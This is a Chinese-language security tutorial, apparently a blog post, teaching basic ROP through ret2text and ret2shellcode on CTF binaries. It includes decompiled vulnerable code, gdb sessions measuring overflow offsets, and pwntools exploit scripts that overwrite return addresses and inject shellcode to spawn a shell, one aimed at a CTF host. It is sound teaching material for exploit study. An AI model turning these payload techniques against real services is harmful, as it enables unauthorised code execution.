基础ROP篇1

本文作者:杉木@涂鸦智能安全实验室

ROP (Return-Oriented Programming)是为了程序编译后存在如非执行(NX)页或代码签名等保护机制时,仍能执行任意代码一种手段;其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

“gadget” 指的是目标程序或系统库中的一小段机器指令序列,这些序列以 ret 指令结束。之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

假设有以下几个 x86 架构的指令序列作为 gadgets,可以通过组合这些gadgets构造一个执行序列。

gadget1:
  xor eax, eax   ; 将 EAX 寄存器清零
  ret            ; 返回到下一个 gadget

gadget2:
  add eax, ebx   ; 将 EBX 寄存器的值加到 EAX 寄存器
  ret            ; 返回到下一个 gadget

gadget3:
  mov ebx, [esp+4] ; 将栈上某个值存到 EBX 寄存器
  ret

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。

.data已经初始化的全局静态变量和局部静态变量
.bss未初始化的全局静态变量和局部静态变量(当赋值为0时也在.bss)
.text指令
.rodata只读数据,只读变量(如const修饰的变量)和字符串常量
.rodatalRead only Data,只读数据,如字符串常量、全局const变量,如上
.init
.fini
程序初始化与终结代码段
.plt
.got
动态链接的跳转表和全局入口表
.comment存编译器版本信息
.debug调试信息
.dynamic动态链接信息
.hash符号哈希表
.line调试时的行号表,即源代码行号与编译后指令的对应表
.note额外的编译器信息,如程序的公司名、发布版本等
.strtabString Table,字符串表
.symtabSymbol Table,符号表
.shstrtabSection String Table,段名表

关于更加详细的内容可以参考《程序员的自我修养-链接、装载与库》这本书;

案例1-通过动态调试测量溢出长度

拿到可执行文件,先来看一下文件的架构以及编译环境配置,这些环境配置决定了后续的内容;
请添加图片描述请添加图片描述
可以看到程序是32位程序,然后开启了NX,栈不可执行保护;

Tip:为何要关注这些?
参考:
elf文件分析–checksec–检查gcc安全编译配置

请添加图片描述

尝试跑一下程序,大概理解一下功能逻辑,然后再看一下程序代码;直接拉到ida或者ghidra里边,代码如下;

可以看到gets函数存在栈溢出漏洞;

/* WARNING: Unknown calling convention */

int main(void)

{
  char buf [100];
  char local_74 [112];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  puts("There is something amazing here, do you know anything?");
  gets(local_74);
  printf("Maybe I will tell you next time !");
  return 0;
}

请添加图片描述

继续看其他函数,在secure函数里又看到调用system(”/bin/sh”),直接控制程序返回secure函数就可以得到系统的shell了;

/* WARNING: Unknown calling convention */

void secure(void)

{
  uint __seed;
  int input;
  int secretcode;
  
  __seed = time((time_t *)0x0);
  srand(__seed);
  secretcode = rand();
  __isoc99_scanf(&DAT_08048760,&input);
  if (input == secretcode) {
    system("/bin/sh");
  }
  return;
}

请添加图片描述

接下来就是构造payload了,首先需要确定的是可以控制的内存的起始位置;

Tip:如何测量溢出长度?

方法一:

在ghidra中可以看到local_74是在ESP索引中,且实际位置为ESP+0x1c;要查看偏移长度,需要通过动态调试的方式,将断点下在CALL处,查看ESP,EBP位置;

请添加图片描述

gets函数CALL指令对应的位置是080486ae,对这个位置进行break,然后执行程序,让断点停在这个地方,查看此时栈空间的ESP,EBP位置;

请添加图片描述

ESP=0xffffcdf0

EBP=0xffffce78

因此可以推断

  • local_74 = ESP+0x1c = EAX = 0xffffce0c
  • local_74相对于EBP的偏移 = EBP - EAX = 0xffffce78 - 0xffffce0c = 0x6c
  • local_74相对于返回地址的偏移 = local_74相对于EBP的偏移 +

参考:

汇编指令;

动态调试工具gdb的使用;

方法二:

通过静态分析,肉眼观察变量的溢出长度,如图,local_74的长度为112,跟第一种方式计算的结果一致;但是这种情况不一定是准确的,只是这道题恰好符合;

请添加图片描述

方法三:

通过Cyclic工具或者gdb-peda自带的pattern测量溢出长度,具体参考案例

智能调试设备动态分析-gdb

方法四:

等着大伙去发现。

Tip:如何构造payload?

from pwn import *

# 连接到目标,可以是一个进程或者远程的服务
sh = process('./your_binary')  # 用你的二进制替换 './your_binary'
# sh = remote('hostname', port)  # 用目标主机名和端口替换 'hostname' 和 port

target = 0x804863a  # 用你要覆盖的返回地址替换 0x804863a  

payload = b'A' * (0x6c+4) + p32(target)
sh.sendline(payload)

# 然后你可以添加更多的交互/自动化代码
sh.interactive()

这里针对脚本简单解释一下;

  • sh.sendline(...): 这倾向于来自**pwntools库,sh可能是与程序的通信接口,例如一个网络连接或者进程的管道。sendline**方法是向这个接口发送数据,并在末尾加上换行符。
  • 'A' * (0x6c+4): 这是在创建一个由许多A字符组成的字符串,长度为0x6c + 40x6c是16进制表示的数,转换为十进制是108,所以这个字符串的总长度将是108 + 4 = 112A
  • p32(target): 这也是pwntools库中的函数,它将一个32位整数(也就是一个地址)打包成字节串,按照小端序格式。target应该是一个地址值,你需要覆盖的地址,通常是溢出缓冲区后的返回地址。

具体参考:

PWN利器-pwntools安装、调试教程一览

ret2shellcode

原理

通过ret2text可以看到,其利用前提是程序中已经有写好可返回shell的方法,不然就没有办法利用;当然遇到这种场景,就需要我们自己填充一个shellcode,而这就是ret2shellcode,不过shellcode所在的内存区域需要具有可执行的权限;

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

shellcode payload生成公式:

payload = padding1 + address of shellcode + padding2 + shellcode

Exploit DB上提供的shellcode—Exploit Database Search (exploit-db.com)

案例

题目1 [HNCTF 2022 Week1]ret2shellcode

请添加图片描述

题目源码:

#include<stdio.h>
char buff[256];
int main()
{
    setbuf(stdin,0);
    setbuf(stderr,0);
    setbuf(stdout,0);
    mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
    char buf[256];
    memset(buf,0,0x100);
    read(0,buf,0x110);
    strcpy(buff,buf);
    return 0;
}

查看程序状态,64,开启NX;

请添加图片描述
请添加图片描述

Ghidra:


undefined8 main(void)

{
  char local_108 [256];
  
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  FUN_004010c0(&_GLOBAL_OFFSET_TABLE_,0x1000,7);
  memset(local_108,0,0x100);
  read(0,local_108,0x110);
  strcpy(buff,local_108);
  return 0;
}

请添加图片描述

溢出点在strcpy,local_108[256]在栈,buff/004040a0 在bss段;

ret2shellcode题型开NX保护之后,常用函数mprotect(),通过和源码对比FUN_004010c0函数就是mprotect(),对此函数断点,查看在此前后buff在栈空间内的执行状态,以此来判断是否可以执行shellcode;

请添加图片描述

gdb-peda$ r
Starting program: /home/samli/shellcode
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x401280 (<__libc_csu_init>:       endbr64)
RCX: 0xc00 ('')
RDX: 0x7
RSI: 0x1000
RDI: 0x404000 --> 0x403e20 --> 0x1
RBP: 0x7fffffffdd00 --> 0x0
RSP: 0x7fffffffdc00 --> 0x34000000340
RIP: 0x401220 (<main+106>:      call   0x4010c0 <mprotect@plt>)
R8 : 0x0
R9 : 0x7ffff7fe0d60 (<_dl_fini>:        endbr64)
R10: 0x400513 --> 0x5f00667562746573 ('setbuf')
R11: 0x7ffff7e57ad0 (<setbuf>:  endbr64)
R12: 0x4010d0 (<_start>:        endbr64)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401213 <main+93>:  mov    esi,0x1000
   0x401218 <main+98>:  mov    rdi,rax
   0x40121b <main+101>: mov    eax,0x0
=> 0x401220 <main+106>: call   0x4010c0 <mprotect@plt>
   0x401225 <main+111>: lea    rax,[rbp-0x100]
   0x40122c <main+118>: mov    edx,0x100
   0x401231 <main+123>: mov    esi,0x0
   0x401236 <main+128>: mov    rdi,rax
Guessed arguments:
arg[0]: 0x404000 --> 0x403e20 --> 0x1
arg[1]: 0x1000
arg[2]: 0x7
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc00 --> 0x34000000340
0008| 0x7fffffffdc08 --> 0x34000000340
0016| 0x7fffffffdc10 --> 0x34000000340
0024| 0x7fffffffdc18 --> 0x34000000340
0032| 0x7fffffffdc20 --> 0x34000000340
0040| 0x7fffffffdc28 --> 0x34000000340
0048| 0x7fffffffdc30 --> 0x34000000340
0056| 0x7fffffffdc38 --> 0x34000000340
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401220 in main ()
gdb-peda$ vmmap 0x4040A0
Start              End                Perm      Name
0x00404000         0x00405000         rw-p      /home/samli/shellcode
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x401280 (<__libc_csu_init>:       endbr64)
RCX: 0x7ffff7ee4bcb (<mprotect+11>:     cmp    rax,0xfffffffffffff001)
RDX: 0x7
RSI: 0x1000
RDI: 0x404000 --> 0x403e20 --> 0x1
RBP: 0x7fffffffdd00 --> 0x0
RSP: 0x7fffffffdc00 --> 0x34000000340
RIP: 0x401225 (<main+111>:      lea    rax,[rbp-0x100])
R8 : 0x0
R9 : 0x7ffff7fe0d60 (<_dl_fini>:        endbr64)
R10: 0x400503 ("mprotect")
R11: 0x202
R12: 0x4010d0 (<_start>:        endbr64)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401218 <main+98>:  mov    rdi,rax
   0x40121b <main+101>: mov    eax,0x0
   0x401220 <main+106>: call   0x4010c0 <mprotect@plt>
=> 0x401225 <main+111>: lea    rax,[rbp-0x100]
   0x40122c <main+118>: mov    edx,0x100
   0x401231 <main+123>: mov    esi,0x0
   0x401236 <main+128>: mov    rdi,rax
   0x401239 <main+131>: call   0x4010a0 <memset@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc00 --> 0x34000000340
0008| 0x7fffffffdc08 --> 0x34000000340
0016| 0x7fffffffdc10 --> 0x34000000340
0024| 0x7fffffffdc18 --> 0x34000000340
0032| 0x7fffffffdc20 --> 0x34000000340
0040| 0x7fffffffdc28 --> 0x34000000340
0048| 0x7fffffffdc30 --> 0x34000000340
0056| 0x7fffffffdc38 --> 0x34000000340
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000401225 in main ()
gdb-peda$ vmmap 0x4040A0
Start              End                Perm      Name
0x00404000         0x00405000         rwxp      /home/samli/shellcode

可以看到在没有运行mprotect()函数之前,权限没有变化,在执行之后,权限变成rwxp,通过函数mprotect()即使开启了NX,也可以执行shellcode;

构造EXP

from pwn import *
# context对象可以配置许多不同的属性来控制各种方面的行为
# 常见的几种配置项
# arch: 目标架构,如'i386', 'amd64', 'arm', 'mips'等。
# bits: 处理器位数,通常由arch自动设置,如32, 64。
# endian: 字节序,'little'或'big'。
# os: 目标操作系统,如'linux', 'windows', 'freebsd'等。
# log_level: 日志级别,如'debug', 'info', 'warning', 'error', 'critical'。
context(log_level = "debug", arch = 'amd64')

# 设置远程服务的IP地址和端口
ip = 'node5.anna.nssctf.cn'  # 替换为实际的IP地址
port = 22419             # 替换为实际的端口号

# 连接到远程服务
p = remote(ip, port)

# 调试的时候可以使用 gdb.attach(p) 来附加GDB
# gdb.attach(p)

# 如果你知道偏移量,可以生成一个填充字符串
offset = 0x100 + 8

# 添加shellcode
# 你需要根据你的目标来修改这个shellcode
shellcode = asm(shellcraft.sh())

# 假设buff_addr是我们想要跳转到的目标地址
buff_addr = 0x4040A0

# 构建最终的payload
# 函数ljust()用于将shellcode扩展到特定的长度,或者找到长度一样的shellcode
payload = shellcode.ljust(offset, b'a') + p64(buff_addr)

# 发送payload到目标
p.sendline(payload)

# 转到交互模式,这样你可以与shell交互
p.interactive()

请添加图片描述

参考

基本 ROP - CTF Wiki (ctf-wiki.org)

Gallopsled/pwntools: CTF framework and exploit development library (github.com)

练习题目:

ctf-challenges/pwn/stackoverflow at master · ctf-wiki/ctf-challenges (github.com)

题库 | NSSCTF

BUUCTF在线评测 (buuoj.cn)

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值